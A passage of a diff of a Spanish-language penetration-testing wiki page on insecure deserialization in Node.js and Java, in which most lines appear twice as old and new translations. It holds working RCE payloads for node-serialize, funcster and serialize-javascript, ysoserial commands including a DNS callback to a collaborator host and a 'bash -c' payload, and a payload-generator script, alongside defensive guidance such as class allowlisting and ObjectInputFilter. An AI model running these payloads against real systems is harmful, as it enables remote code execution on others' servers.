En el siguiente fragmento de código **nota el último paréntesis** y cómo la función `unserialize` ejecutará automáticamente el código:
|
||||
```javascript
|
||||
var serialize = require('node-serialize');
|
||||
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
|
||||
serialize.unserialize(test);
|
||||
```
|
||||
Como se indicó anteriormente, esta biblioteca obtendrá el código después de `_$$ND_FUNC$$_` y lo **ejecutará** usando `eval`. Por lo tanto, para **auto-ejecutar código** puedes **eliminar la parte de creación de la función** y el último paréntesis y **solo ejecutar un JS oneliner** como en el siguiente ejemplo:
|
||||
Como se indicó anteriormente, esta biblioteca obtendrá el código después de `_$$ND_FUNC$$_` y lo **ejecutará** usando `eval`. Por lo tanto, para **auto-ejecutar código**, puedes **eliminar la parte de creación de la función** y el último paréntesis y **simplemente ejecutar un JS en una línea** como en el siguiente ejemplo:
|
||||
```javascript
|
||||
var serialize = require('node-serialize');
|
||||
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
|
||||
|
|
@ -260,9 +259,9 @@ Puedes [**encontrar aquí**](https://opsecx.com/index.php/2017/02/08/exploiting-
|
|||
|
||||
### [funcster](https://www.npmjs.com/package/funcster)
|
||||
|
||||
La diferencia interesante aquí es que los **objetos incorporados estándar no son accesibles**, porque están fuera de alcance. Significa que podemos ejecutar nuestro código, pero no podemos llamar a los métodos de los objetos incorporados. Entonces, si usamos `console.log()` o `require(algo)`, Node devuelve una excepción como `"ReferenceError: console is not defined"`.
|
||||
Un aspecto notable de **funcster** es la inaccesibilidad de los **objetos integrados estándar**; quedan fuera del alcance accesible. Esta restricción evita la ejecución de código que intenta invocar métodos en objetos integrados, lo que lleva a excepciones como `"ReferenceError: console is not defined"` cuando se utilizan comandos como `console.log()` o `require(something)`.
|
||||
|
||||
Sin embargo, podemos recuperar fácilmente el acceso a todo porque todavía tenemos acceso al contexto global usando algo como `this.constructor.constructor("console.log(1111)")();`:
|
||||
A pesar de esta limitación, la restauración del acceso completo al contexto global, incluidos todos los objetos integrados estándar, es posible a través de un enfoque específico. Al aprovechar directamente el contexto global, se puede evitar esta restricción. Por ejemplo, el acceso puede restablecerse utilizando el siguiente fragmento:
|
||||
```javascript
|
||||
funcster = require("funcster");
|
||||
//Serialization
|
||||
|
|
@ -277,11 +276,11 @@ funcster.deepDeserialize(desertest2)
|
|||
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
|
||||
funcster.deepDeserialize(desertest3)
|
||||
```
|
||||
**Para** [**más información, lee esta página**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||||
**Para** [**más información lee esta fuente**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||||
|
||||
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
|
||||
|
||||
El paquete **no incluye ninguna funcionalidad de deserialización** y requiere que la implementes tú mismo. Su ejemplo utiliza `eval` directamente. Este es el ejemplo oficial de deserialización:
|
||||
El paquete **serialize-javascript** está diseñado exclusivamente para fines de serialización, careciendo de capacidades de deserialización integradas. Los usuarios son responsables de implementar su propio método para la deserialización. Un uso directo de `eval` es sugerido por el ejemplo oficial para deserializar datos serializados:
|
||||
```javascript
|
||||
function deserialize(serializedJavascript){
|
||||
return eval('(' + serializedJavascript + ')');
|
||||
|
|
@ -298,6 +297,8 @@ console.log(test) //function() { return "Hello world!" }
|
|||
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
|
||||
deserialize(test)
|
||||
```
|
||||
**Para** [**más información, lee esta fuente**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||||
|
||||
### Biblioteca Cryo
|
||||
|
||||
En las siguientes páginas puedes encontrar información sobre cómo abusar de esta biblioteca para ejecutar comandos arbitrarios:
|
||||
|
|
@ -307,76 +308,79 @@ En las siguientes páginas puedes encontrar información sobre cómo abusar de e
|
|||
|
||||
## Java - HTTP
|
||||
|
||||
El principal problema con los objetos deserializados en Java es que **se invocaban callbacks de deserialización durante la deserialización**. Esto hace posible que un **atacante** pueda **aprovechar esos callbacks** y preparar un payload que abusa de los callbacks para **realizar acciones maliciosas**.
|
||||
En Java, **las devoluciones de llamada de deserialización se ejecutan durante el proceso de deserialización**. Esta ejecución puede ser explotada por atacantes que crean cargas maliciosas que activan estas devoluciones de llamada, lo que puede llevar a la ejecución potencial de acciones dañinas.
|
||||
|
||||
### Huellas Digitales
|
||||
### Huellas dactilares
|
||||
|
||||
#### Caja Blanca
|
||||
|
||||
Busca dentro del código clases y funciones de serialización. Por ejemplo, busca clases que implementen `Serializable`, el uso de `java.io.ObjectInputStream` \_\_ o funciones `readObject` \_\_ o `readUnshare`\_.
|
||||
Para identificar posibles vulnerabilidades de serialización en el código, busca:
|
||||
|
||||
También debes estar atento a:
|
||||
* Clases que implementen la interfaz `Serializable`.
|
||||
* Uso de las funciones `java.io.ObjectInputStream`, `readObject`, `readUnshare`.
|
||||
|
||||
* `XMLdecoder` con parámetros definidos por el usuario externo
|
||||
* `XStream` con el método `fromXML` (la versión de xstream <= v1.46 es vulnerable al problema de serialización)
|
||||
* `ObjectInputStream` con `readObject`
|
||||
* Usos de `readObject`, `readObjectNodData`, `readResolve` o `readExternal`
|
||||
* `ObjectInputStream.readUnshared`
|
||||
* `Serializable`
|
||||
Presta especial atención a:
|
||||
|
||||
* `XMLDecoder` utilizado con parámetros definidos por usuarios externos.
|
||||
* El método `fromXML` de `XStream`, especialmente si la versión de XStream es menor o igual a 1.46, ya que es susceptible a problemas de serialización.
|
||||
* `ObjectInputStream` junto con el método `readObject`.
|
||||
* Implementación de métodos como `readObject`, `readObjectNodData`, `readResolve` o `readExternal`.
|
||||
* `ObjectInputStream.readUnshared`.
|
||||
* Uso general de `Serializable`.
|
||||
|
||||
#### Caja Negra
|
||||
|
||||
**Huellas Digitales/Bytes Mágicos** de objetos **serializados en java** (de `ObjectInputStream`):
|
||||
Para pruebas de caja negra, busca **firmas o "bytes mágicos"** específicos que denoten objetos serializados de Java (provenientes de `ObjectInputStream`):
|
||||
|
||||
* `AC ED 00 05` en Hex
|
||||
* `rO0` en Base64
|
||||
* Encabezado `Content-type` de una respuesta HTTP configurado como `application/x-java-serialized-object`
|
||||
* `1F 8B 08 00` Hex previamente comprimido
|
||||
* `H4sIA` Base64 previamente comprimido
|
||||
* Archivos web con extensión `.faces` y parámetro `faces.ViewState`. Si encuentras esto en una webapp, echa un vistazo al [**post sobre Deserialización de Java JSF ViewState**](java-jsf-viewstate-.faces-deserialization.md).
|
||||
* Patrón hexadecimal: `AC ED 00 05`.
|
||||
* Patrón Base64: `rO0`.
|
||||
* Cabeceras de respuesta HTTP con `Content-type` establecido en `application/x-java-serialized-object`.
|
||||
* Patrón hexadecimal que indica compresión previa: `1F 8B 08 00`.
|
||||
* Patrón Base64 que indica compresión previa: `H4sIA`.
|
||||
* Archivos web con la extensión `.faces` y el parámetro `faces.ViewState`. Descubrir estos patrones en una aplicación web debería provocar un examen detallado como se detalla en el [post sobre Deserialización de Java JSF ViewState](java-jsf-viewstate-.faces-deserialization.md).
|
||||
```
|
||||
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
|
||||
```
|
||||
### Verificar si es vulnerable
|
||||
|
||||
Si quieres **aprender cómo funciona un exploit de Deserialización en Java** deberías echar un vistazo a [**Deserialización Básica en Java**](basic-java-deserialization-objectinputstream-readobject.md), [**Deserialización DNS en Java**](java-dns-deserialization-and-gadgetprobe.md), y [**Carga útil CommonsCollection1**](java-transformers-to-rutime-exec-payload.md).
|
||||
Si quieres **aprender cómo funciona una explotación de deserialización en Java**, deberías echar un vistazo a [**Deserialización Básica en Java**](basic-java-deserialization-objectinputstream-readobject.md), [**Deserialización de DNS en Java**](java-dns-deserialization-and-gadgetprobe.md) y [**Carga útil de CommonsCollection1**](java-transformers-to-rutime-exec-payload.md).
|
||||
|
||||
#### Prueba de Caja Blanca
|
||||
|
||||
Puedes verificar si hay alguna aplicación instalada con vulnerabilidades conocidas.
|
||||
Puedes verificar si hay instalada alguna aplicación con vulnerabilidades conocidas.
|
||||
```bash
|
||||
find . -iname "*commons*collection*"
|
||||
grep -R InvokeTransformer .
|
||||
```
|
||||
Podrías intentar **verificar todas las bibliotecas** conocidas por ser vulnerables y para las que [**Ysoserial**](https://github.com/frohoff/ysoserial) puede proporcionar un exploit. O podrías verificar las bibliotecas indicadas en [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
|
||||
También puedes usar [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) para buscar posibles cadenas de gadgets que se puedan explotar.\
|
||||
Cuando ejecutes **gadgetinspector** (después de construirlo) no te preocupes por la gran cantidad de advertencias/errores por los que está pasando y déjalo terminar. Escribirá todos los hallazgos en _gadgetinspector/gadget-results/gadget-chains-año-mes-día-hora-min.txt_. Por favor, ten en cuenta que **gadgetinspector no creará un exploit y puede indicar falsos positivos**.
|
||||
Puedes intentar **verificar todas las bibliotecas** conocidas por ser vulnerables y para las cuales [**Ysoserial**](https://github.com/frohoff/ysoserial) puede proporcionar un exploit. O puedes verificar las bibliotecas indicadas en [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
|
||||
También puedes usar [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) para buscar posibles cadenas de gadgets que puedan ser explotadas.\
|
||||
Al ejecutar **gadgetinspector** (después de compilarlo), no te preocupes por las numerosas advertencias/errores que pueda mostrar y déjalo terminar. Escribirá todos los hallazgos en _gadgetinspector/gadget-results/gadget-chains-año-mes-día-hora-min.txt_. Ten en cuenta que **gadgetinspector no creará un exploit y puede indicar falsos positivos**.
|
||||
|
||||
#### Prueba de Caja Negra
|
||||
|
||||
Usando la extensión de Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) puedes identificar **qué bibliotecas están disponibles** (e incluso las versiones). Con esta información podría ser **más fácil elegir un payload** para explotar la vulnerabilidad.\
|
||||
[**Lee esto para aprender más sobre GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
|
||||
GadgetProbe se enfoca en deserializaciones de \*\* `ObjectInputStream` \*\*.\*\*
|
||||
GadgetProbe se enfoca en las deserializaciones de **`ObjectInputStream`**.
|
||||
|
||||
Usando la extensión de Burp [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) puedes **identificar bibliotecas vulnerables** explotables con ysoserial y **explotarlas**.\
|
||||
[**Lee esto para aprender más sobre Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
|
||||
Java Deserialization Scanner se enfoca en deserializaciones de **`ObjectInputStream`**.
|
||||
Java Deserialization Scanner se enfoca en las deserializaciones de **`ObjectInputStream`**.
|
||||
|
||||
También puedes usar [**Freddy**](https://github.com/nccgroup/freddy) para **detectar vulnerabilidades de deserialización** en **Burp**. Este plugin detectará vulnerabilidades relacionadas no solo con \*\*`ObjectInputStream`\*\* sino **también** con bibliotecas de deserialización de **Json** y **Yml**. En modo activo, intentará confirmarlas usando cargas útiles de sleep o DNS.\
|
||||
También puedes usar [**Freddy**](https://github.com/nccgroup/freddy) para **detectar vulnerabilidades de deserialización** en **Burp**. Este complemento detectará vulnerabilidades no solo relacionadas con **`ObjectInputStream`** sino también vulnerabilidades de deserialización de **Json** y **Yml**. En modo activo, intentará confirmarlas utilizando payloads de sleep o DNS.\
|
||||
[**Puedes encontrar más información sobre Freddy aquí.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
||||
|
||||
**Prueba de Serialización**
|
||||
|
||||
No todo se trata de verificar si el servidor utiliza alguna biblioteca vulnerable. A veces podrías ser capaz de **cambiar los datos dentro del objeto serializado y eludir algunos controles** (quizás otorgarte privilegios de administrador dentro de una aplicación web).\
|
||||
Si encuentras un objeto serializado de Java que se envía a una aplicación web, **puedes usar** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **para imprimir en un formato más legible para humanos el objeto de serialización que se envía**. Saber qué datos estás enviando sería más fácil para modificarlos y eludir algunos controles.
|
||||
No todo se trata de verificar si el servidor está utilizando alguna biblioteca vulnerable. A veces puedes **cambiar los datos dentro del objeto serializado y evadir algunas verificaciones** (quizás otorgarte privilegios de administrador dentro de una aplicación web).\
|
||||
Si encuentras un objeto serializado de Java que se envía a una aplicación web, **puedes usar** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **para imprimir en un formato más legible para humanos el objeto de serialización que se envía**. Saber qué datos estás enviando facilitaría modificarlos y evadir algunas verificaciones.
|
||||
|
||||
### **Explotar**
|
||||
### **Explotación**
|
||||
|
||||
#### **ysoserial**
|
||||
|
||||
La herramienta más conocida para explotar deserializaciones de Java es [**ysoserial**](https://github.com/frohoff/ysoserial) ([**descargar aquí**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). También puedes considerar usar [**ysoserial-modificado**](https://github.com/pimps/ysoserial-modified) que te permitirá usar comandos complejos (con tuberías, por ejemplo).\
|
||||
Ten en cuenta que esta herramienta está **enfocada** en explotar **`ObjectInputStream`**.\
|
||||
Yo **empezaría usando el payload "URLDNS"** **antes de un payload RCE** para probar si la inyección es posible. De todos modos, ten en cuenta que tal vez el payload "URLDNS" no funcione pero otro payload RCE sí.
|
||||
La herramienta principal para explotar deserializaciones de Java es [**ysoserial**](https://github.com/frohoff/ysoserial) ([**descarga aquí**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). También puedes considerar usar [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) que te permitirá usar comandos complejos (con tuberías, por ejemplo).\
|
||||
Ten en cuenta que esta herramienta está **centrada** en explotar **`ObjectInputStream`**.\
|
||||
Yo **comenzaría usando el payload "URLDNS"** antes que un payload de RCE para probar si la inyección es posible. De todos modos, ten en cuenta que tal vez el payload "URLDNS" no funcione pero otro payload de RCE sí.
|
||||
```bash
|
||||
# PoC to make the application perform a DNS req
|
||||
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
|
||||
|
|
@ -421,7 +425,7 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
|
|||
# Base64 encode payload in base64
|
||||
base64 -w0 payload
|
||||
```
|
||||
Al crear un payload para **java.lang.Runtime.exec()** **no puedes usar caracteres especiales** como ">" o "|" para redirigir la salida de una ejecución, "$()" para ejecutar comandos o incluso **pasar argumentos** a un comando separados por **espacios** (puedes hacer `echo -n "hello world"` pero no puedes hacer `python2 -c 'print "Hello world"'`). Para codificar correctamente el payload podrías [usar esta página web](http://www.jackson-t.ca/runtime-exec-payloads.html).
|
||||
Al crear un payload para **java.lang.Runtime.exec()** **no puedes usar caracteres especiales** como ">" o "|" para redirigir la salida de una ejecución, "$()" para ejecutar comandos o incluso **pasar argumentos** a un comando separados por **espacios** (puedes hacer `echo -n "hello world"` pero no puedes hacer `python2 -c 'print "Hello world"'`). Para codificar correctamente el payload, puedes [utilizar esta página web](http://www.jackson-t.ca/runtime-exec-payloads.html).
|
||||
|
||||
Siéntete libre de usar el siguiente script para crear **todos los posibles payloads de ejecución de código** para Windows y Linux y luego probarlos en la página web vulnerable:
|
||||
```python
|
||||
|
|
@ -446,12 +450,12 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
|
|||
```
|
||||
#### serialkillerbypassgadgets
|
||||
|
||||
Puedes **usar** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **junto con ysoserial para crear más exploits**. Más información sobre esta herramienta en las **diapositivas de la charla** donde se presentó la herramienta: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1)
|
||||
Puedes **utilizar** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **junto con ysoserial para crear más exploits**. Más información sobre esta herramienta en las **diapositivas de la charla** donde se presentó la herramienta: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1)
|
||||
|
||||
#### marshalsec
|
||||
|
||||
[**marshalsec**](https://github.com/mbechler/marshalsec) se puede utilizar para generar payloads para explotar diferentes bibliotecas de serialización **Json** y **Yml** en Java.\
|
||||
Para compilar el proyecto necesité **añadir** estas **dependencias** al `pom.xml`:
|
||||
[**marshalsec** ](https://github.com/mbechler/marshalsec) se puede utilizar para generar payloads para explotar diferentes bibliotecas de serialización **Json** y **Yml** en Java.\
|
||||
Para compilar el proyecto necesité **agregar** estas **dependencias** al archivo `pom.xml`:
|
||||
```markup
|
||||
<dependency>
|
||||
<groupId>javax.activation</groupId>
|
||||
|
|
@ -466,35 +470,35 @@ Para compilar el proyecto necesité **añadir** estas **dependencias** al `pom.x
|
|||
<type>pom</type>
|
||||
</dependency>
|
||||
```
|
||||
**Instala maven** y **compila** el proyecto:
|
||||
**Instala Maven** y **compila** el proyecto:
|
||||
```bash
|
||||
sudo apt-get install maven
|
||||
mvn clean package -DskipTests
|
||||
```
|
||||
#### FastJSON
|
||||
|
||||
Lea más sobre esta biblioteca JSON de Java: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
|
||||
Lee más sobre esta biblioteca de JSON de Java: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
|
||||
|
||||
### Laboratorios
|
||||
|
||||
* Si desea probar algunos payloads de ysoserial, puede **ejecutar esta aplicación web**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
|
||||
* Si deseas probar algunos payloads de ysoserial, puedes **ejecutar esta aplicación web**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
|
||||
* [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
|
||||
|
||||
### Por qué
|
||||
|
||||
Java ADORA enviar objetos serializados por todos lados. Por ejemplo:
|
||||
Java utiliza mucha serialización para varios propósitos como:
|
||||
|
||||
* En **solicitudes HTTP** – Parámetros, ViewState, Cookies, lo que sea.
|
||||
* **RMI** – El protocolo RMI de Java, ampliamente utilizado, se basa 100% en la serialización.
|
||||
* **RMI sobre HTTP** – Muchas aplicaciones web de cliente grueso de Java utilizan esto – de nuevo, 100% objetos serializados.
|
||||
* **JMX** – De nuevo, depende de objetos serializados enviados a través de la red.
|
||||
* **Protocolos personalizados** – Enviar y recibir objetos Java crudos es la norma – lo que veremos en algunos de los exploits que vienen.
|
||||
- **Solicitudes HTTP**: La serialización se emplea ampliamente en la gestión de parámetros, ViewState, cookies, etc.
|
||||
- **RMI (Invocación de Método Remoto)**: El protocolo Java RMI, que depende completamente de la serialización, es fundamental para la comunicación remota en aplicaciones Java.
|
||||
- **RMI sobre HTTP**: Este método es comúnmente utilizado por aplicaciones web de cliente grueso basadas en Java, que utilizan la serialización para todas las comunicaciones de objetos.
|
||||
- **JMX (Extensiones de Gestión de Java)**: JMX utiliza la serialización para transmitir objetos a través de la red.
|
||||
- **Protocolos Personalizados**: En Java, la práctica estándar implica la transmisión de objetos Java en bruto, lo cual se demostrará en ejemplos de explotación próximos.
|
||||
|
||||
### Prevención
|
||||
|
||||
#### Objetos transitorios
|
||||
#### Objetos Transitorios
|
||||
|
||||
Una clase que implementa `Serializable` puede marcar como `transient` cualquier objeto dentro de la clase que no debería ser serializable. Por ejemplo:
|
||||
Una clase que implementa `Serializable` puede marcar como `transient` cualquier objeto dentro de la clase que no deba ser serializado. Por ejemplo:
|
||||
```java
|
||||
public class myAccount implements Serializable
|
||||
{
|
||||
|
|
@ -503,25 +507,22 @@ private transient double margin; // declared transient
|
|||
```
|
||||
#### Evitar la Serialización de una clase que necesita implementar Serializable
|
||||
|
||||
Algunos de los objetos de tu aplicación pueden verse obligados a implementar `Serializable` debido a su jerarquía. Para garantizar que tus objetos de aplicación no puedan ser deserializados, se debe declarar un método `readObject()` (con un modificador `final`) que siempre lance una excepción:
|
||||
En escenarios donde ciertos **objetos deben implementar la interfaz `Serializable`** debido a la jerarquía de clases, existe un riesgo de deserialización no intencional. Para prevenir esto, asegúrate de que estos objetos no sean deserializables definiendo un método `readObject()` `final` que lance consistentemente una excepción, como se muestra a continuación:
|
||||
```java
|
||||
private final void readObject(ObjectInputStream in) throws java.io.IOException {
|
||||
throw new java.io.IOException("Cannot be deserialized");
|
||||
}
|
||||
```
|
||||
#### Verificar la clase deserializada antes de deserializarla
|
||||
#### **Mejorando la Seguridad de la Deserialización en Java**
|
||||
|
||||
La clase `java.io.ObjectInputStream` se utiliza para deserializar objetos. Es posible endurecer su comportamiento mediante la creación de subclases. Esta es la mejor solución si:
|
||||
**Personalizar `java.io.ObjectInputStream`** es un enfoque práctico para asegurar los procesos de deserialización. Este método es adecuado cuando:
|
||||
|
||||
* Puedes cambiar el código que realiza la deserialización
|
||||
* Sabes qué clases esperas deserializar
|
||||
- El código de deserialización está bajo tu control.
|
||||
- Se conocen las clases esperadas para la deserialización.
|
||||
|
||||
La idea general es sobrescribir [`ObjectInputStream.html#resolveClass()`](https://docs.oracle.com/javase/7/docs/api/java/io/ObjectInputStream.html#resolveClass\(java.io.ObjectStreamClass\)) para restringir qué clases están permitidas para ser deserializadas.
|
||||
|
||||
Dado que esta llamada ocurre antes de que se llame a `readObject()`, puedes estar seguro de que no ocurrirá ninguna actividad de deserialización a menos que el tipo sea uno que desees permitir.
|
||||
|
||||
Un ejemplo sencillo de esto se muestra aquí, donde la clase `LookAheadObjectInputStream` está garantizada de no deserializar ningún otro tipo además de la clase `Bicycle`:
|
||||
Sobrescribe el método **`resolveClass()`** para limitar la deserialización solo a las clases permitidas. Esto evita la deserialización de cualquier clase excepto aquellas explícitamente permitidas, como en el siguiente ejemplo que restringe la deserialización solo a la clase `Bicycle`:
|
||||
```java
|
||||
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
|
||||
public class LookAheadObjectInputStream extends ObjectInputStream {
|
||||
|
||||
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
|
||||
|
|
@ -540,33 +541,51 @@ return super.resolveClass(desc);
|
|||
}
|
||||
}
|
||||
```
|
||||
**Endurecer todo el uso de java.io.ObjectInputStream con un Agente**
|
||||
|
||||
Si no posees el código o no puedes esperar a un parche, utilizar un agente para incorporar endurecimiento a `java.io.ObjectInputStream` es la mejor solución.\
|
||||
Utilizando este enfoque, solo puedes poner en la lista negra los tipos maliciosos conocidos y no incluirlos en una lista blanca, ya que no sabes qué objetos están siendo serializados.
|
||||
|
||||
Para habilitar estos agentes, simplemente añade un nuevo parámetro JVM:
|
||||
**Usar un Agente Java para Mejora de Seguridad** ofrece una solución alternativa cuando la modificación de código no es posible. Este método se aplica principalmente para **poner en lista negra clases dañinas**, utilizando un parámetro de JVM:
|
||||
```
|
||||
-javaagent:name-of-agent.jar
|
||||
```
|
||||
Ejemplo: [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
|
||||
Proporciona una forma de asegurar la deserialización de forma dinámica, ideal para entornos donde los cambios de código inmediatos son imprácticos.
|
||||
|
||||
Consulta un ejemplo en [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
|
||||
|
||||
|
||||
**Implementación de Filtros de Serialización**: Java 9 introdujo filtros de serialización a través de la interfaz **`ObjectInputFilter`**, proporcionando un mecanismo potente para especificar criterios que los objetos serializados deben cumplir antes de ser deserializados. Estos filtros se pueden aplicar globalmente o por flujo, ofreciendo un control detallado sobre el proceso de deserialización.
|
||||
|
||||
Para utilizar filtros de serialización, puedes establecer un filtro global que se aplique a todas las operaciones de deserialización o configurarlo dinámicamente para flujos específicos. Por ejemplo:
|
||||
```java
|
||||
ObjectInputFilter filter = info -> {
|
||||
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
|
||||
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
|
||||
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
|
||||
return Status.REJECTED; // Restrict to allowed classes
|
||||
}
|
||||
return Status.ALLOWED;
|
||||
};
|
||||
ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
```
|
||||
**Aprovechando Bibliotecas Externas para una Seguridad Mejorada**: Bibliotecas como **NotSoSerial**, **jdeserialize** y **Kryo** ofrecen características avanzadas para controlar y monitorear la deserialización en Java. Estas bibliotecas pueden proporcionar capas adicionales de seguridad, como la lista blanca o negra de clases, analizar objetos serializados antes de la deserialización e implementar estrategias de serialización personalizadas.
|
||||
|
||||
- **NotSoSerial** intercepta procesos de deserialización para prevenir la ejecución de código no confiable.
|
||||
- **jdeserialize** permite el análisis de objetos Java serializados sin deserializarlos, ayudando a identificar contenido potencialmente malicioso.
|
||||
- **Kryo** es un marco de serialización alternativo que enfatiza la velocidad y eficiencia, ofreciendo estrategias de serialización configurables que pueden mejorar la seguridad.
|
||||
|
||||
### Referencias
|
||||
|
||||
* [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html)
|
||||
* Charla sobre deserialización y ysoserial: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
|
||||
* [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
|
||||
* [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
|
||||
* Charla sobre gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) y diapositivas: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
|
||||
* Documento sobre Marshalsec: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
|
||||
* Documento de Marshalsec: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
|
||||
* [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
|
||||
* [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
|
||||
* [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
|
||||
* Documento y charla sobre deserialización de JSON en Java y .Net: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) y diapositivas: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
* CVEs de deserializaciones: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
||||
* Documento sobre deserializaciones CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
||||
|
||||
## Inyección JNDI & log4Shell
|
||||
## Inyección JNDI y log4Shell
|
||||
|
||||
Encuentra qué es **Inyección JNDI, cómo abusar de ella a través de RMI, CORBA & LDAP y cómo explotar log4shell** (y un ejemplo de esta vulnerabilidad) en la siguiente página:
|
||||
Encuentra qué es **la Inyección JNDI, cómo abusar de ella a través de RMI, CORBA y LDAP y cómo explotar log4shell** (y un ejemplo de esta vulnerabilidad) en la siguiente página:
|
||||
|
||||
